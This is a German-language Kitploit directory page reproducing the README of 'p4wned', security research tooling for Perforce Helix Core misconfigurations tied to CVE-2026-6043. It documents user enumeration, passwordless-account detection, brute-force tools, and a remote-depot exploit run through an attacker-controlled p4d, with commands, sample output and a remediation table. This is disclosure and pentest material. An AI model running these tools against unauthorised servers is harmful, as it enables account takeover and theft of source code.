Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
p4wned — Perforce Sicherheitsforschung und -werkzeuge - CVE-2026-6043 | Kitploit
Tools/GitHubGitHub/flyingllama87/p4wned
AufklärungSchwachstellenscannerWeb-SchwachstellenscannerExploit-FrameworksPasswortangriffeExploitationInformationsbeschaffungPenetrationstestsFehlkonfiguration
GitHubflyingllama87/p4wned

p4wned

Perforce Sicherheitsforschung und -werkzeuge - CVE-2026-6043

2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigenWebseite
Teilen

P4WNED (CVE-2026-6043)

Sicherheitsforschungstools und Nuclei-Vorlagen für Perforce (Helix Core).

Forschungsartikel: https://morganrobertson.net/p4wned/

Bitte lesen Sie die obigen Informationen für vollständige Details.

Nur für autorisierte Ziele. Verwenden Sie es nur auf Ihren eigenen Servern oder mit ausdrücklicher schriftlicher Genehmigung.

Zielgruppe: Perforce-Serveradministratoren, Penetrationstester, Sicherheitsingenieure

Update Mai 2026: Perforce 2026.1 wurde veröffentlicht. Diese Version wird mit sicheren Standardeinstellungen ausgeliefert! Sehr erfreut, diese Veröffentlichung zum Schutz von Entwickler-IP zu sehen. Mehr dazu hier.

Hinweis: Diese Tools suchen nach den Fehlkonfigurationen, die aus CVE-2026-6043 resultieren.


Anforderungen

ToolErfordert
p4wned.pyPython 3, p4 CLI-Binärdatei (siehe unten)
p4ghost.pyPython 3, p4 CLI-Binärdatei, lokale p4d-Instanz (siehe Setup unten)
p4-auth-hammerg++, Perforce C++ API, OpenSSL 1.1.1 (siehe p4-auth-hammer/README.md)
JavaScript-ToolsNode.js (keine externen Abhängigkeiten)
Nuclei-VorlagenNuclei v3+
Metasploit-ModuleMetasploit Framework

Beschaffung der p4-Binärdatei (erforderlich für p4wned.py und p4ghost.py):

root@kitploit:~
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4

Hintergrund

Perforce-Server exponieren ein benutzerdefiniertes binäres TCP-Protokoll (Standardport 1666). Viele Installationen werden mit unsicheren Standardeinstellungen ausgeliefert – unauthentifizierte Benutzerauflistung, Serverinformationspreisgabe, zugängliche Remote-Depots, keine Passwortanforderungen und keine Ratenbegrenzung bei Anmeldeversuchen. Alle hier aufgeführten Tools nutzen diese Standardeinstellungen ohne Anmeldeinformationen aus.


Tools

p4wned.py – Vollständiger Sicherheitsscanner

Der primäre Scanner. Verwendet die p4 CLI-Binärdatei, um Benutzer aufzulisten, Anmeldeinformationen zu testen, Depots aufzulisten und einen Bericht zu erstellen.

root@kitploit:~
python3 p4wned.py [-brute] [-audit] [-parallel N]

Optionen:

FlagBeschreibung
-bruteAktiviert den Brute-Force-Modus – testet Passwörter gegen alle entdeckten Benutzerkonten
-auditGründlicher Prüfmodus – testet alle Benutzer weiter, auch nachdem eine Sicherheitslücke gefunden wurde
-parallel NAnzahl paralleler Passwortversuche (Standard: 1)

Konfiguration (am Anfang des Skripts bearbeiten):

Was es macht:

  • Erkennt ASCII- vs. Unicode-Servermodus
  • Zählt Benutzer auf (falls run.users.authorize=0)
  • Testet auf leere Passwörter und bekannte/übliche Anmeldeinformationen
  • Listet Depotnamen auf und entnimmt Stichproben aktueller Dateipfade
  • Prüft auf super-Gruppenmitgliedschaft bei kompromittierten Konten
  • Gibt einen strukturierten Textbericht aus

Konsolenausgabe:

root@kitploit:~
$ python3 p4wned.py

                   ___ _  _  __    __    __  __  ___ 
                  / _ \ || |/ / /\ \ \/\ \ \/__\/   \
                 / /_)/ || |\ \/  \/ /  \/ /_\ / /\ /
                / ___/|__   _\  /\  / /\  //__/ /_// 
                \/       |_|  \/  \/\_\ \/\__/___,'  

P4WNED - 0wning P4 servers via shit security defaults since Y2K+25

 · Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
 · Confirms depots access and those juicy "super" user accounts.
 · Drops a tidy report so you can fix the mess before the Skids arrive

Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================


=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===

[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.

[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build

[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...

[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666

[INFO] Report saved to perforce-report-p4wned-1775436520.txt

Berichtsdatei (perforce-report-p4wned-*.txt):

root@kitploit:~
Perforce Security Scan Report

Server: 192.0.2.10:1666 (perforce.example-studio.com)
  Status: Insecure
  Note: Insecure via user 'svc_build' (no password)

  == Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'

  == Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01

        Merge branch feature/ai-pathfinding

Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02

        Updated character rig exports

  == Depot Details ==

  Depot: depot
    -- Root Directories --
    //depot/Source
    //depot/Content
    //depot/Config
    This depot is a non-Unreal Engine Depot.

------------------------------------------------------------

Summary Report

Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)

p4ghost.py – Remote-Depot-Scanner

Testet auf unauthentifizierten Remote-Depot-Zugriff über den versteckten remote-Benutzer. Der Exploit funktioniert, indem eine angreifergesteuerte p4d-Instanz lokal ausgeführt wird – der Zielserver verbindet sich als Teil des Server-zu-Server-Protokolls zurück zu dieser Instanz und gibt dabei seine Depot-Dateiauflistung preis.

Setup (einmalig):

root@kitploit:~
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4

# Einen einfachen ASCII-p4d auf Port 1818 starten (wird als Angreiferserver verwendet)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d

# Einen Unicode-p4d auf einem separaten Port (1819) für Unicode-Ziele starten
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi   # In Unicode-Modus konvertieren
./p4d -r ./p4root_attacker_unicode -p 1819 -d
root@kitploit:~
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
                   [-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
root@kitploit:~
# Beispielaufruf mit den lokalen Angreiferservern von oben
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819

Argumente:

Betroffene Versionen: Alle Versionen unter 2025.1 mit security < 4 (Standard ist 0).


p4-auth-hammer – Brute-Force-PoC (C++)

Proof-of-Concept, das demonstriert, dass p4d Authentifizierungsversuche nicht effektiv ratenbegrenzt, wenn security < 3 ist. Erreicht >300.000 Anmeldeversuche pro Minute gegen ein einzelnes Konto unter Verwendung der Perforce C++ API.

root@kitploit:~
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]

Build (erfordert Perforce C++ API und OpenSSL 1.1.1 – vollständiges Setup siehe p4-auth-hammer/README.md):

root@kitploit:~
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh

Modi:

  • Standard: Direkte Passwort-Authentifizierung (security < 3). Ratenbegrenzung wird vollständig umgangen. >300.000 Versuche/Min.
  • -ticketauth: Ticketbasierte Anmeldung (security >= 3). Ratenbegrenzung (dm.user.loginattempts) ist auf dieser Stufe aktiv.

Erkennt automatisch SSL- und Unicode-Server. Stimmt die Thread-Anzahl automatisch auf maximalen Durchsatz ab.

Abhilfe: p4 configure set security=3 (oder 4). Vollständige Details siehe p4-auth-hammer/README.md.


JavaScript-Tools

Eigenständige Node.js-Skripte. Keine Abhängigkeiten außer der Node.js-Standardbibliothek. Alle Skripte erkennen automatisch SSL vs. einfaches TCP sowie ASCII- vs. Unicode-Servermodus – keine Flags erforderlich.

Zieldateiformat: host:port eine pro Zeile, Port standardmäßig 1666, wenn nicht angegeben. Zeilen, die mit # beginnen, werden ignoriert.

root@kitploit:~
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667

Automatische Erkennung: Zuerst wird einfaches TCP versucht. Wenn der Server mit der Perforce-SSL-Fehlermeldung ("Failed client connect, server using SSL") antwortet, wird die Verbindung über TLS mit rejectUnauthorized: false (akzeptiert selbstsignierte Zertifikate) wiederholt. Zuerst wird der ASCII-Modus versucht; wenn der Server die Unicode-Fehlermeldung zurückgibt, wird die Verbindung mit dem Parameter unicode wiederholt.


perforce-users.js – Benutzeraufzählung

Nutzt run.users.authorize=0 (Standard) aus, um alle Benutzerkonten ohne Authentifizierung aufzulisten.

root@kitploit:~
node javascript/perforce-users.js [targets_file]

Ausgabe: [host:port] [tcp|ssl] username <email> "Full Name"


perforce-info.js – Serverinformationspreisgabe

Nutzt dm.info.hide=0 (Standard) aus, um Serverversion, interne Adresse, Root-Pfad und Lizenzstring zu extrahieren.

root@kitploit:~
node javascript/perforce-info.js [targets_file]

Ausgabe:

root@kitploit:~
[host:port] [tcp|ssl]
  Version    : P4D/LINUX26X86_64/2024.2/2877946
  Server Addr: internal-hostname:1666
  Server Root: /opt/perforce/p4root
  License    : Acme Corp

perforce-passwordless.js – Erkennung passwortloser Konten

Findet Benutzerkonten ohne festgelegtes Passwort. Verwendet das getaggte Ausgabeformat (tag-Parameter), um das Fehlen des Feldes Password in Benutzerdatensätzen zu erkennen. Passwortlose Konten erlauben direkte unauthentifizierte Anmeldung.

root@kitploit:~
node javascript/perforce-passwordless.js [targets_file]

Ausgabe: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"


perforce-remote.js – Remote-Depot-Dateiauflistung

Nutzt den versteckten remote-Benutzer über den rmt-DbPipe Server-zu-Server-RPC aus, um die Tabelle db.rev direkt zu lesen und Depot-Dateipfade sowie Änderungsnummern ohne Authentifizierung zu extrahieren. Betroffene Versionen: unter 2025.1 mit security < 4.

root@kitploit:~
node javascript/perforce-remote.js [targets_file]

Ausgabe:

root@kitploit:~
[host:port] [tcp|ssl] 42 file(s) in depot:
  [change=7] [2024-11-03] //depot/src/main.cpp
  [change=3] [2024-09-12] //depot/config/database.yml

perforce-keys.js – Globale Schlüsselaufzählung

Extrahiert globale Schlüssel/Zählerwerte von Perforce-Servern. Schlüssel können Build-Nummern, interne Versionsstrings und Konfiguration enthalten.

root@kitploit:~
node javascript/perforce-keys.js [targets_file]

Ausgabe: [host:port] [tcp|ssl] keyname = value


Nuclei-Vorlagen

Vorlagen für Nuclei. Alle Vorlagen verwenden einen TCP-Gate-Schritt, um zu bestätigen, dass ein Perforce-Server vorhanden ist, bevor die JavaScript-Nutzlast ausgeführt wird. Die Vorlagen verwenden denselben automatischen Erkennungsansatz wie die JavaScript-Tools.

root@kitploit:~
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt

Erkennung

VorlageIDBeschreibung
perforce-detect.yamlperforce-detectionErkennt Perforce-Server über binären Protokoll-Handshake. Schweregrad: info.

Sicherheitslücken-Vorlagen

Einschränkungen: Keine SSL-Unterstützung, nur Port 1666. Siehe JavaScript-Tools für mehr.


Metasploit-Module

Drei auxiliary scanner-Module für das Metasploit Framework, plus eine gemeinsam genutzte Bibliotheksmixin, die das binäre Perforce-Protokoll handhabt. Diese Module decken dieselben Sicherheitslücken ab wie die eigenständigen Tools oben – Benutzeraufzählung, Erkennung passwortloser Konten und Remote-Depot-Ausnutzung.

Alle Module erkennen automatisch ASCII- vs. Unicode-Servermodus. SSL wird unterstützt.

ModulBeschreibung
auxiliary/scanner/perforce/perforce_user_enum

Die Quelldateien befinden sich im Verzeichnis metasploit/. Ein PR wurde an das Metasploit Framework übermittelt.


Kurzreferenz zur Abhilfe:

Tool herunterladen
VariableBeschreibung
INPUT_FILEZielliste (ip:port, eine pro Zeile) – Standard perforce-servers.txt
P4_CMDPfad zur p4-Binärdatei – Standard ./p4
TOP_PASSWORDS_FILEWortliste für Brute-Force – Standard top-passwords.txt
KNOWN_CREDS_FILEBekannte Anmeldeinformationspaare, die zuerst versucht werden
REPORT_FILEPfad zum Ausgabebericht
FlagBeschreibung
input_fileZielliste (ip:port, eine pro Zeile)
-skipnolicenseÜberspringt Server, die Server license: none zurückgeben
-report FILEPfad zum Ausgabebericht
-p4cmd PATHPfad zur p4-Binärdatei (Standard ./p4)
-unicodeport PORTLokaler Unicode-p4d-Port, der als Angreiferserver verwendet wird
-nonunicodeport PORTLokaler Nicht-Unicode-p4d-Port
-timeout SECSBefehlstimeout
VorlageIDSchweregradCVSSBeschreibung
perforce-user-extraction.yamlperforce-user-enumerationMittel5.3Unauthentifizierte Benutzerauflistung – ASCII- und Unicode-Server. Extrahiert Benutzernamen, E-Mails, vollständige Namen.
perforce-info-disclosure.yamlperforce-info-disclosureMittel5.3Serverinformationspreisgabe – Version, interne Adresse, Root-Pfad, Lizenz.
perforce-passwordless-users.yamlperforce-passwordless-usersKritisch9.1Findet Konten ohne festgelegtes Passwort.
perforce-remote-depot-unauth.yamlperforce-remote-depot-access-unauthHoch7.5Remote-Depot-Zugriff über remote-Benutzer – ASCII- und Unicode-Server. Extrahiert Dateipfade und Änderungsnummern. Betroffen: < 2025.1 mit security < 4.
Unauthentifizierte Benutzerauflistung – extrahiert Benutzernamen, E-Mails, vollständige Namen und letzte Zugriffszeiten.
auxiliary/scanner/perforce/perforce_passwordlessErkennt Konten ohne festgelegtes Passwort.
auxiliary/scanner/perforce/perforce_remote_depotRemote-Depot-Dateiauflistung über den versteckten remote-Benutzer. Betroffen: < 2025.1 mit security < 4.
FundLösung
Benutzeraufzählungp4 configure set run.users.authorize=1
Informationspreisgabep4 configure set dm.info.hide=1
Passwortlose BenutzerSetzen Sie Passwörter für alle Konten; p4 configure set dm.user.noautocreate=2
Remote-Depot-ZugriffUpgrade auf 2025.1+, oder p4 configure set security=4
Authentifizierungsratenbegrenzungp4 configure set security=3 (aktiviert effektive Sperrung über dm.user.loginattempts)
Alles oben Genanntep4 configure set security=4 plus die einzelnen Einstellungen oben – security=4 behebt den Remote-Exploit, verbirgt jedoch keine Benutzerlisten oder Serverinformationen